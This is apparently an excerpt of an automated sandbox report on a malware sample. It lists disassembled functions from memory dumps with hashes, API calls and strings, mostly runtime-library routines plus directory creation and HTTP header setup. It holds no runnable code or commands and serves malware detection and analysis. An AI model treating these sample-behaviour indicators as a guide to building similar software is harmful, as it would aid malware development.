Function 04B4ABC7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 7a73fe8d35e3d71c5c24f5c0b821b3dd9abe8ae56d6465770b908d97031b84e3
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: DC1108772C0151439695CB2DDDB41BAA796EBCD32072C46EAD0414F75AD122F544B600

Function 0040A960 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: bf3d62387290270b8e9c206f9b330aa6ec5fad9da35dacc9460757c01b80fc97
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 43115EF730038143D704862EC5B45B7E395EBC6321B2F4B7BC0825B7C8C23A9865E50A

Function 00D79C9B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2421354084.0000000000D79000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D79000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d79000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: d1d1683c7831aa3da3bea11eb911afa43f3b6dc6641cfc39456a7e64fd464475
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: B7113C73340100AFDB54DF55DC91FA6B3EAEB89360B298065ED08CB356E675E842C760

Function 04B40D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 293818218bedeef1481949536c6cc3e7b8a6b3c3ef9f58d5a142aa209fb16be8
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 8801A276A006148FDF21EF24CC04BAA33F5EFC6216F4548F5EA0A9B281E774B9459B90

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 04D02A6F Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: b4ae77fc90a4fa150eaddbe439427d48a112bff6acf9a5ab564842d58761aa4e
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: 89E08C32A12238EBCB24DB9DC908A8AF3ECEB45B04B118496B501D3140C6B0EE01C7E0

Function 04B538D6 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: 246488dfe49aa5c32b350fed1d045568dcfc0a17c0cb868f336d2f696df64edd
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: 39E08C72911268EBCB25DB8CC945E8AF3FCEB44B80B114496BD01D3220C270EE00C7D0

Function 0041366F Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: fd5c11342e53f5fd9e78528a8d63764efe72d1229905d7d1658511e5362cd08d
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: EEE04632911228EBCB24DF898A08A8AF3ACEB44B09B11049AB501D3210C274DE80C7D4

Function 04CFE30D Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9253131997efead4d70db6443559b4166ab1d7f2f85f8f4b6bf8833fc8910a7c
Instruction ID: 23e5f59e324a4176bb4cb1d0277f51050953cdf21f1838d274749ce008d5f8ee
Opcode Fuzzy Hash: 9253131997efead4d70db6443559b4166ab1d7f2f85f8f4b6bf8833fc8910a7c
Instruction Fuzzy Hash: 53E04631400108BFCB117F14DC4CA8A3B2AEB00241B108424FA0986131CB39EE82CA54

Function 00409088 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042AF64,00000FA0,?,?,00409066), ref: 00409094
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409066), ref: 0040909F
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409066), ref: 004090B0
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 004090C2
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 004090D0
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409066), ref: 004090F3
RtlDeleteCriticalSection.NTDLL(0042AF64), ref: 0040910F
CloseHandle.KERNEL32(00000000,?,?,00409066), ref: 0040911F

Strings

kernel32.dll, xrefs: 004090AB
SleepConditionVariableCS, xrefs: 004090BC
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0040909A
WakeAllConditionVariable, xrefs: 004090C8

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction ID: acc3deda13f420712ce33b53dd37b90dad73ad81c8ab949137041f64949c0d3f
Opcode Fuzzy Hash: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction Fuzzy Hash: 410196B1F40322ABE7202B75AD0DB963B989B4CB01B154036FD15E2295D77CCC01866D

Function 04D065E3 Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D0661C
___free_lconv_mon.LIBCMT ref: 04D06627

Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06300
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06312
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06324
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06336
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06348
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D0635A
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D0636C
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D0637E
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D06390
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D063A2
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D063B4
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D063C6
Part of subcall function 04D062E3: _free.LIBCMT ref: 04D063D8

_free.LIBCMT ref: 04D0663E
_free.LIBCMT ref: 04D06653
_free.LIBCMT ref: 04D0665E
_free.LIBCMT ref: 04D06680
_free.LIBCMT ref: 04D06693
_free.LIBCMT ref: 04D066A1
_free.LIBCMT ref: 04D066AC
_free.LIBCMT ref: 04D066E4
_free.LIBCMT ref: 04D066EB
_free.LIBCMT ref: 04D06708
_free.LIBCMT ref: 04D06720

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: _free$___free_lconv_mon
String ID:
API String ID: 3658870901-0
Opcode ID: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction ID: 5df4256883318a2fe2d83c5e8559d2c5407becca14d74e488c561f6fdef36783
Opcode Fuzzy Hash: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction Fuzzy Hash: 2D313731700601ABEB22AF39E844B5A77E9FF00314F54C86AE159E71D1DE76F8A18B20

Function 04B5744A Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 04B5748E

Part of subcall function 04B5714A: _free.LIBCMT ref: 04B57167
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B57179
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5718B
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5719D
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571AF
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571C1
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571D3
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571E5
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571F7
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B57209
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5721B
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5722D
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5723F

_free.LIBCMT ref: 04B57483

Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B574A5
_free.LIBCMT ref: 04B574BA
_free.LIBCMT ref: 04B574C5
_free.LIBCMT ref: 04B574E7
_free.LIBCMT ref: 04B574FA
_free.LIBCMT ref: 04B57508
_free.LIBCMT ref: 04B57513
_free.LIBCMT ref: 04B5754B
_free.LIBCMT ref: 04B57552
_free.LIBCMT ref: 04B5756F
_free.LIBCMT ref: 04B57587

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction ID: 14cb6ab2ab1a9437f4c82fe233bb491e545522ac7e1cbfa12bd6e5481a9237c1
Opcode Fuzzy Hash: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction Fuzzy Hash: 95316B31B00605AFEB25AE3DE844B5AF7E8EF00354F50489AE869D71B0DF74F8409B20

Function 004171E3 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00417227

Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F00
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F12
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F24
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F36
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F48
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F5A
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F6C
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F7E
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F90
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FA2
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FB4
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FC6
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FD8

_free.LIBCMT ref: 0041721C

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 0041723E
_free.LIBCMT ref: 00417253
_free.LIBCMT ref: 0041725E
_free.LIBCMT ref: 00417280
_free.LIBCMT ref: 00417293
_free.LIBCMT ref: 004172A1
_free.LIBCMT ref: 004172AC
_free.LIBCMT ref: 004172E4
_free.LIBCMT ref: 004172EB
_free.LIBCMT ref: 00417308
_free.LIBCMT ref: 00417320

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 78a1156ba884ffaad899c775ae10142786294d6101bc0a8744c53f5092b5fafb
Instruction ID: edf7faae9d3bf0885fb7c5c7e3fb72ef0fb286978f56b7ec46c8a8d77fdb3eda
Opcode Fuzzy Hash: 78a1156ba884ffaad899c775ae10142786294d6101bc0a8744c53f5092b5fafb
Instruction Fuzzy Hash: A1313D31608204ABEB21AB7AD845BD777F4AF41354F24885BF559D7261EE38ECC1C628

Function 04CFA4DB Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 04CFA5D8
type_info::operator==.LIBVCRUNTIME ref: 04CFA5FA
___TypeMatch.LIBVCRUNTIME ref: 04CFA709
IsInExceptionSpec.LIBVCRUNTIME ref: 04CFA7DB
_UnwindNestedFrames.LIBCMT ref: 04CFA85F
CallUnexpected.LIBVCRUNTIME ref: 04CFA87A

Strings

csm, xrefs: 04CFA585
csm, xrefs: 04CFA518
csm, xrefs: 04CFA631

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: 1d886f11738a973bc4963baa765cc618aaf29c975ace3e3ce197e2408c4094cc
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: 33B1AD71800209DFDF59DF94CC809AEFBB6BF04314B11805AEA196B211D37AFA11DF91

Function 04B4B342 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 04B4B43F
type_info::operator==.LIBVCRUNTIME ref: 04B4B461
___TypeMatch.LIBVCRUNTIME ref: 04B4B570
IsInExceptionSpec.LIBVCRUNTIME ref: 04B4B642
_UnwindNestedFrames.LIBCMT ref: 04B4B6C6
CallUnexpected.LIBVCRUNTIME ref: 04B4B6E1

Strings

csm, xrefs: 04B4B498
csm, xrefs: 04B4B3EC
csm, xrefs: 04B4B37F

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: f958f8c1c06dd8ad2a3a2dda83ddbe627588a88ea3576b8e757bd005fb919053
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: 45B16C71C04209EFDF15DFA8C8809AEB7B5FF88314B14459AEA156B211D730FA51EFA1

Function 0040B0DB Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0040B1D8
type_info::operator==.LIBVCRUNTIME ref: 0040B1FA
___TypeMatch.LIBVCRUNTIME ref: 0040B309
IsInExceptionSpec.LIBVCRUNTIME ref: 0040B3DB
_UnwindNestedFrames.LIBCMT ref: 0040B45F
CallUnexpected.LIBVCRUNTIME ref: 0040B47A

Strings

csm, xrefs: 0040B185
csm, xrefs: 0040B118
csm, xrefs: 0040B231

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: 3d06a1d46c9e927f581abf88e740a03f69e3fad8364d4cdf02b7d05f470413ac
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: DAB15471800209EFCF29DFA5C8819AEB7B5FF14314B14456BE8117B692D338DA61CBDA

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

TMPDIR, xrefs: 10001E24
APPDATA, xrefs: 10001D3F

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 04D004E5 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D004FB
_free.LIBCMT ref: 04D00507
_free.LIBCMT ref: 04D00512
_free.LIBCMT ref: 04D0051D
_free.LIBCMT ref: 04D00528
_free.LIBCMT ref: 04D00533
_free.LIBCMT ref: 04D0053E
_free.LIBCMT ref: 04D00549
_free.LIBCMT ref: 04D00554
_free.LIBCMT ref: 04D00562

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction ID: dd69b49a0ef58960c3fe2e0ca1513683c19ea7e9878b580f0b6b2268387d8ef6
Opcode Fuzzy Hash: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction Fuzzy Hash: C621AD76A00108BFDB42EF94D840EDD7BB5FF08244F00856AF615AB161DB31E645CB90

Function 04B5134C Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04B51362

Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B5136E
_free.LIBCMT ref: 04B51379
_free.LIBCMT ref: 04B51384
_free.LIBCMT ref: 04B5138F
_free.LIBCMT ref: 04B5139A
_free.LIBCMT ref: 04B513A5
_free.LIBCMT ref: 04B513B0
_free.LIBCMT ref: 04B513BB
_free.LIBCMT ref: 04B513C9

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction ID: 2a10a7805f43cdd66fb67693c0c57ce734796f275dd78e4ecda33884c6c57685
Opcode Fuzzy Hash: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction Fuzzy Hash: A821B87A90011CFFDB05EF99D880EDDBFB8BF08244B4051A6E9259B171DB31EA54DB80

Function 004110E5 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004110FB

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 00411107
_free.LIBCMT ref: 00411112
_free.LIBCMT ref: 0041111D
_free.LIBCMT ref: 00411128
_free.LIBCMT ref: 00411133
_free.LIBCMT ref: 0041113E
_free.LIBCMT ref: 00411149
_free.LIBCMT ref: 00411154
_free.LIBCMT ref: 00411162

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

